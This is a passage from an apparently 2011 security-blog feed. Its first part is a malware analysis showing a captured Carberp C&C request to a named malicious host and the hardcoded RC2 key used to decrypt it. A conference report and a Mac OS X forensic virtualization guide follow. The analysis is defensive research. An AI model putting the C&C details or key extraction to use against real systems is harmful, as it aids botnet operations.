&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Host: sandravsxpanel.cz.cc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Connection: Close&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Content-Type: application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Content-Length: 691&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;cchq=&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;b&gt;KRQ5&lt;/b&gt;&lt;/span&gt;5AVXERssj8SabRbGQFPODZUhZxjdZY9QgPAaGwhjb1%2FEqCdQneoEfXMET&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;LcYNneVMlpNcMSCwEFGLhSABClbFY8G5AZak5JOk4l8JY1UiZzgmSQWdJFmFYFw77u29&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;7TRAoJWs4k7zgCKRrwudgtxbdiP62OJOiKSyJ0OCd75ZmYKP4uLo1h3nPT%2BNLn2Zdr&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;amAU31TfsdLmbf4F%2F3lo%2FS3d00bdbzGZC4oYSIu8Ci9Qw6WCISy8LBBX1LFBS3Y7&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;S5A633XS5GVyylgvwDCPC%2Fsp47pBFRWa%2Bblnq4NkUnkkyszrnFxgxFfO76kVfzSz&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;FZAC8xcDnkrBMyr%2BRvINHn3PMdf4jGWImLFT%2BN8r8mDSAz%2FFkOJaxi7OlsiH30&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;6btuph1s0MG%2F1fLnxxBhsRcssrPVB4Q6VP%2BAOUaDLg26n5XhMbHskphPkhDTyIPZ&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;lc9LPsAfMG4dfd9PhOGzBJFH9kaAb2kC4WDtU%2BnZcuYoH2advviTm9wtcz4ZASW5kx&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;HPgkVw9uP73fnNEs1QHdGB57V9G57bd2qdmoZ%2BOojFrtOilpizUQ9cxBvl7nGj%2Bs&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;%2FuAPWVV%2FXOb1tyoMmtHmSY0BqoXzksdaK2%2FDU%2BGUfkDgV95MiLXd%2FG6hXe&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;5zXAEXH&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;54ji&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The first and last four bytes of the message (marked in red) are needed for initialize the decryption and they are randomly generated at each POST.  The data between are base64 encoded + RC2 algorithm. Apart from the randomly generated "short" keys which are 8 bytes in total, there is a "long" key which consists of 16 bytes and is hardcoded inside the binary and we need to extract it. Fortunately it is not that hard to spot it:&lt;/div&gt;
&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5628448184588793394" src="http://3.bp.blogspot.com/-vOUxJGk7ZHY/ThxDzZcbdjI/AAAAAAAAAxo/w1dhi9pYaTY/s400/ws_carberp3.png" style="cursor: pointer; display: block; height: 394px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 392px;" /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="color: #0000ee;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
By taking a memory dump of the malware, loading it into a disassembler we can spot the right function by looking for the hash value "618ADDBEh". It’s not clear the purpose of this hash, most probably this value belongs to a default decryption key. By the way, our "long" key is "rsg7?GhdHB16_Rbf" however we still have to apply a byte XOR with value 05 to get the final &lt;b&gt;wvb2zBmaMG43ZWgc&lt;/b&gt; key.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5628448482895502418" src="http://4.bp.blogspot.com/-UmLglVvouUg/ThxEEwuSnFI/AAAAAAAAAxw/HvT_73ENvx4/s400/ws_carberp4.png" style="cursor: pointer; display: block; height: 110px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 400px;" /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="color: #0000ee;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Once we have got the key, we have to pass it to the plugin in order to get it work. Menu Edit/Preferences/Protocols and that’s all, ready to sniff an infected machine ;)&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Jozsef Gegeny&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/ry2KdgHdsIQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/7630744034825758581/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=7630744034825758581" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7630744034825758581?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7630744034825758581?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/ry2KdgHdsIQ/decrypting-carberp-c-communication.html" title="Decrypting Carberp C&amp;C communication" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-0_VuDy-zmBA/ThxDOmAtuKI/AAAAAAAAAxQ/Qk6MENj95zk/s72-c/ws_carberp1.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/07/decrypting-carberp-c-communication.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMESH88fSp7ImA9WhZaE04.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-5250014295819090477</id><published>2011-06-29T01:00:00.000-07:00</published><updated>2011-06-29T01:00:09.175-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-29T01:00:09.175-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Conference" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>ToorCon Seattle 2011</title><content type="html">&lt;div style="text-align: justify;"&gt;As I mentioned in the &lt;a href="http://securityblog.s21sec.com/2011/06/last-week-source-seattle-usa-took-place.html"&gt;previous post&lt;/a&gt;, just after &lt;a href="http://www.sourceconference.com/seattle/"&gt;Source Seattle&lt;/a&gt; some days ago, the &lt;a href="http://seattle.toorcon.org/"&gt;ToorCon&lt;/a&gt; (also in Seattle) began. Some speakers took advantage of this to present the same or different presentations at both conferences. Friday the 13th was the opening day, with a small party, but the presentations didn’t begin until the following day. There were &lt;a href="http://seattle.toorcon.org/2011/conference.php"&gt;thirty talks&lt;/a&gt; in total, each delivered in a 15 minute period of time, with a short break for lunch. It was an entire day of presentations, from 8:30 till 10:30, quite a day!&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-NodAPp4nZCI/TgNjGoJa8rI/AAAAAAAAAvw/PdZ3xjgmmXE/s1600/Foto0516.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/-NodAPp4nZCI/TgNjGoJa8rI/AAAAAAAAAvw/PdZ3xjgmmXE/s400/Foto0516.jpg" alt="" id="BLOGGER_PHOTO_ID_5621445725395808946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The subject of the talks was very varied, from hacktivism themes through to hard disk recuperation. During the morning we could attend, amongst others, presentations about &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=30"&gt;the use of concurrence in Python for the creation of stronger security tools&lt;/a&gt;, an &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=33"&gt;appeal for the real securing of communications&lt;/a&gt;, &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=8"&gt;exploit kits&lt;/a&gt;, &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=21"&gt;details of the fall of the Rustock botnet&lt;/a&gt; by Julia Wolf, how to &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=2"&gt;physically recover a hard drive&lt;/a&gt; (a real surgical intervention of a hard disk) and it ended with some interesting &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=37"&gt;thoughts about&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Bitcoin"&gt;Bitcoin&lt;/a&gt; from Dan Kaminsky: if a normal user does not have the capacity to generate a large amount of bitcoins, because it depends on the capacity of the calculation, who will end up having them all?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-dI_p9RviGSo/TgNlRd3IUoI/AAAAAAAAAv4/Fiu9iJuI-qg/s1600/Foto0520.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/-dI_p9RviGSo/TgNlRd3IUoI/AAAAAAAAAv4/Fiu9iJuI-qg/s400/Foto0520.jpg" alt="" id="BLOGGER_PHOTO_ID_5621448110636552834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The afternoon sessions were no less interesting. In my opinion, the highlights were the &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=28"&gt;discovery of exploitable vulnerabilities in the kernel through emulation&lt;/a&gt;, a &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=27"&gt;practical example of telephone social engineering&lt;/a&gt;, where you could hear how they obtained data from a real secretary, and one that dealt with the &lt;a href="http://seattle.toorcon.org/2011/conference.php?id=34"&gt;compromise of a domain through a&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Private_branch_exchange#Private_branch_exchange"&gt;PBX telephone system&lt;/a&gt;. Without a doubt, this last one brought more than one person to their feet and received the best applause of all, as its staring point was a telephone system and they managed to query sensitive data from the network systems.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-Gu0if4NCEV0/TgNlznFr31I/AAAAAAAAAwA/WH5PVtUIv9E/s1600/Foto0521.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/-Gu0if4NCEV0/TgNlznFr31I/AAAAAAAAAwA/WH5PVtUIv9E/s400/Foto0521.jpg" alt="" id="BLOGGER_PHOTO_ID_5621448697229074258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Finally, the closing event took place at a club in the city where people could socialize in the best possible way ;) This wasn’t a conference where you could go and put up a company stand, but a place where you could meet unusual people with a wide knowledge of IT security and share a beer. There is a risk that by the last speech you wouldn’t be paying full attention to the platform, but nothing is perfect, is it? It is another type of conference, very different from Source, but equally recommendable. In summary, the best thing to do is to attend them both ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/IXq7lWz9qSE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/5250014295819090477/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=5250014295819090477" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5250014295819090477?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5250014295819090477?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/IXq7lWz9qSE/toorcon-seattle-2011.html" title="ToorCon Seattle 2011" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-NodAPp4nZCI/TgNjGoJa8rI/AAAAAAAAAvw/PdZ3xjgmmXE/s72-c/Foto0516.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/toorcon-seattle-2011.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcFRXczeip7ImA9WhZaEks.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-412719135903667595</id><published>2011-06-28T05:52:00.000-07:00</published><updated>2011-06-28T06:33:34.982-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-28T06:33:34.982-07:00</app:edited><title>Live Forensics Mac OS X (II)</title><content type="html">&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Continuing on from last week's post, we are going to look at what's needed to correctly virtualize a physical disk with a &lt;i&gt;Mac OS X &lt;/i&gt;operating systems, this time using &lt;i&gt;VMWare&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The following are needed:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="http://wiki.qemu.org/Main_Page"&gt;Qemu&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://downloads.vmware.com/d/info/desktop_downloads/vmware_player/3_0?channel=fs&amp;amp;q=vmware%20player&amp;amp;ie=utf-8&amp;amp;oe=utf-8"&gt;VMWare           Player&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://prasys.info/osx86hackint0sh/"&gt;Empire EFI&lt;/a&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;span lang="en-GB"&gt;(Latest version for Intel processors that includes the generic and Legacy versions)&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;                 &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;We use &lt;i&gt;VMWare Player&lt;/i&gt; since it is a free solution and given that, in this case, it has no &lt;i&gt;EFI&lt;/i&gt; support, we will use the alternative &lt;i&gt;Empire EFI&lt;/i&gt; boot system. &lt;i&gt;Empire EFI &lt;/i&gt;is no more than an &lt;i&gt;ISO&lt;/i&gt; that can serve as a boot disk for &lt;i&gt;Mac OS X&lt;/i&gt; systems that make use of the&lt;/span&gt;&lt;i&gt; &lt;/i&gt;&lt;a href="http://chameleon.osx86.hu/"&gt;&lt;i&gt;Chameleon&lt;/i&gt;&lt;/a&gt; bootloader.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;span lang="en-GB"&gt;Firstly, the image of the physical disk obtained beforehand is converted to an image compatible with &lt;i&gt;VMWare&lt;/i&gt; using &lt;i&gt;Qemu&lt;/i&gt; in the following way:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $sudo qemu-img convert –f raw imagen.dd –O vmdk imagen.vmdk&lt;/code&gt;&lt;/pre&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;Then we need to generate a configuration (&lt;i&gt;.vmx&lt;/i&gt;) file associated with the above file. To do that we create a text file with a&lt;i&gt; .vmx&lt;/i&gt; extension and we add something like the following:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;#!/usr/bin/vmware&lt;br /&gt;.encoding = "UTF-8"&lt;br /&gt;config.version = "8"&lt;br /&gt;virtualHW.version = "7"&lt;br /&gt;numvcpus = "4"&lt;br /&gt;cpuid.coresPerSocket = "4"&lt;br /&gt;scsi0.present = "TRUE"&lt;br /&gt;scsi0.virtualDev = "lsilogic"&lt;br /&gt;memsize = "2048"&lt;br /&gt;ide0:0.present = "TRUE"&lt;br /&gt;ide0:0.fileName = "&lt;span style="color: rgb(255, 0, 0);"&gt;imagen.vmdk&lt;/span&gt;"&lt;br /&gt;ide1:0.present = "TRUE"&lt;br /&gt;ide1:0.autodetect = "TRUE"&lt;br /&gt;ide1:0.deviceType = "cdrom-image"&lt;br /&gt;floppy0.startConnected = "FALSE"&lt;br /&gt;floppy0.fileName = ""&lt;br /&gt;floppy0.autodetect = "TRUE"&lt;br /&gt;ethernet0.present = "TRUE"&lt;br /&gt;ethernet0.connectionType = "nat"&lt;br /&gt;ethernet0.virtualDev = "e1000"&lt;br /&gt;ethernet0.wakeOnPcktRcv = "FALSE"&lt;br /&gt;ethernet0.addressType = "generated"&lt;br /&gt;usb.present = "TRUE"&lt;br /&gt;ehci.present = "TRUE"&lt;br /&gt;sound.present = "TRUE"&lt;br /&gt;sound.fileName = "-1"&lt;br /&gt;sound.autodetect = "TRUE"&lt;br /&gt;pciBridge0.present = "TRUE"&lt;br /&gt;pciBridge4.present = "TRUE"&lt;br /&gt;pciBridge4.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge4.functions = "8"&lt;br /&gt;pciBridge5.present = "TRUE"&lt;br /&gt;pciBridge5.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge5.functions = "8"&lt;br /&gt;pciBridge6.present = "TRUE"&lt;br /&gt;pciBridge6.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge6.functions = "8"&lt;br /&gt;pciBridge7.present = "TRUE"&lt;br /&gt;pciBridge7.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge7.functions = "8"&lt;br /&gt;vmci0.present = "TRUE"&lt;br /&gt;roamingVM.exitBehavior = "go"&lt;br /&gt;displayName = "&lt;span style="color: rgb(255, 0, 0);"&gt;Mac OS X&lt;/span&gt;"&lt;br /&gt;guestOS = "darwin"&lt;br /&gt;nvram = "&lt;span style="color: rgb(255, 0, 0);"&gt;imagen.nvram&lt;/span&gt;"&lt;br /&gt;virtualHW.productCompatibility = "hosted"&lt;br /&gt;extendedConfigFile = "&lt;span style="color: rgb(255, 0, 0);"&gt;imagen.vmxf&lt;/span&gt;"&lt;br /&gt;ide1:0.fileName = "&lt;span style="color: rgb(255, 0, 0);"&gt;LegacyBootCD.iso&lt;/span&gt;"&lt;br /&gt;ethernet0.generatedAddress = "00:0c:29:bc:86:69"&lt;br /&gt;uuid.location = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"&lt;br /&gt;uuid.bios = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"&lt;br /&gt;cleanShutdown = "TRUE"&lt;br /&gt;replay.supported = "FALSE"&lt;br /&gt;replay.filename = ""&lt;br /&gt;ide0:0.redo = ""&lt;br /&gt;pciBridge0.pciSlotNumber = "17"&lt;br /&gt;pciBridge4.pciSlotNumber = "21"&lt;br /&gt;pciBridge5.pciSlotNumber = "22"&lt;br /&gt;pciBridge6.pciSlotNumber = "23"&lt;br /&gt;pciBridge7.pciSlotNumber = "24"&lt;br /&gt;scsi0.pciSlotNumber = "16"&lt;br /&gt;usb.pciSlotNumber = "32"&lt;br /&gt;ethernet0.pciSlotNumber = "33"&lt;br /&gt;sound.pciSlotNumber = "34"&lt;br /&gt;ehci.pciSlotNumber = "35"&lt;br /&gt;vmci0.pciSlotNumber = "36"&lt;br /&gt;vmotion.checkpointFBSize = "16973824"&lt;br /&gt;ethernet0.generatedAddressOffset = "0"&lt;br /&gt;vmci0.id = "771566075"&lt;br /&gt;tools.syncTime = "FALSE"&lt;br /&gt;isolation.tools.hgfs.disable = "TRUE"&lt;br /&gt;sharedFolder.maxNum = "1"&lt;br /&gt;usb:0.present = "TRUE"&lt;br /&gt;usb:1.present = "TRUE"&lt;br /&gt;usb:1.deviceType = "hub"&lt;br /&gt;usb:0.deviceType = "mouse"&lt;br /&gt;checkpoint.vmState = ""&lt;br /&gt;sharedFolder0.present = "FALSE""&lt;span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;span lang="en-GB"&gt;Where...&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;ide0:0.fileName&lt;/i&gt; = The name of our &lt;span style="font-style: italic;"&gt;VMWare&lt;/span&gt; image.&lt;/li&gt;&lt;li&gt;&lt;i&gt;displayName&lt;/i&gt; = The name given to the virtual machine.&lt;/li&gt;&lt;li&gt;&lt;i&gt;extendedConfigFile = &lt;/i&gt;The name that you want to give to the extended configuration file (Auto-generated).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;nvram&lt;/i&gt; = The name that you want to give to the Virtual Machine's memory file. (Auto-generated).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;ide1:0.fileName&lt;/i&gt; = The name of the .iso file of the loader of &lt;span style="font-style: italic;"&gt;Empire EFI&lt;/span&gt; boot, downloaded beforehand.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;It’s worth mentioning, that all the previous files need to be in the same directory.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Once this point is reached, start up the &lt;i&gt;VMWare Player&lt;/i&gt; and open the previously created &lt;i&gt;.vmx&lt;/i&gt; file. As the machine starts up, press the ESC key to select the boot unit and choose CD-ROM (If we press F2 we will enter the &lt;i&gt;BIOS&lt;/i&gt; setup and could select this option permanently).&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Finally, once the bootloader menu is loaded, select the "mac" option and now we can proceed with the online analysis of the system.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;As a final note, our tests have been made with a &lt;i&gt;Mac OS X 10.6.4&lt;/i&gt; system image and it was necessary to use the Legacy version of &lt;i&gt;Empire EFI for VMWare Player.&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-i.html"&gt;Live         Forensics Mac OS X (I)&lt;/a&gt;&lt;/div&gt;         &lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-ii.html"&gt;Live Forensics Mac OS X (II)&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Santiago Vicente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/Rtxl4W3GEcQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/412719135903667595/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=412719135903667595" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/412719135903667595?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/412719135903667595?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/Rtxl4W3GEcQ/live-forensics-mac-os-x-ii.html" title="Live Forensics Mac OS X (II)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-ii.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04BRH44fyp7ImA9WhZaEUQ.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8785290892565609237</id><published>2011-06-27T08:36:00.000-07:00</published><updated>2011-06-27T09:25:55.037-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-27T09:25:55.037-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ecrime" /><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Conference" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>Source Seattle 2011</title><content type="html">&lt;div style="text-align: justify;"&gt;Some days ago, &lt;a href="http://www.sourceconference.com/seattle/"&gt;Source 